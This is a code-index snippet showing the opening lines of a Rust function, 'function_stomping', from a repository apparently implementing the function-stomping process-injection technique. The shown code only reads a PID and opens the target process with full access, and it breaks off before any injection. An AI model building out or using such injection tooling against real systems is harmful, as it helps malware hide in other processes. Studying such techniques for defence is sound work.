INNER CODE UNIT · Rust

function_stomping

Idov31/FunctionStomping · functionstomping/src/functionstomping-lib.rs:54

pub fn function_stomping() -> Result<(), anyhow::Error> {
    let args: Vec<_> = env::args().collect();
    let pid: u32;
    let remote_handle: HANDLE; 
    let function_address: FARPROC;
    let mut res: BOOL;
    
    // Validating that got enough arguments.
    if args.len() < 2 {
        return Err(Error::CliUsage.into());
    }
    let target = &args[1];
    
    unsafe {
        // Validating the PID to spawn to.
        if target.parse::<u32>().is_ok() {
            pid = target.parse::<u32>().unwrap();
            remote_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

View source record →

📰 Research Paper
Loading…
⏳ Fetching content…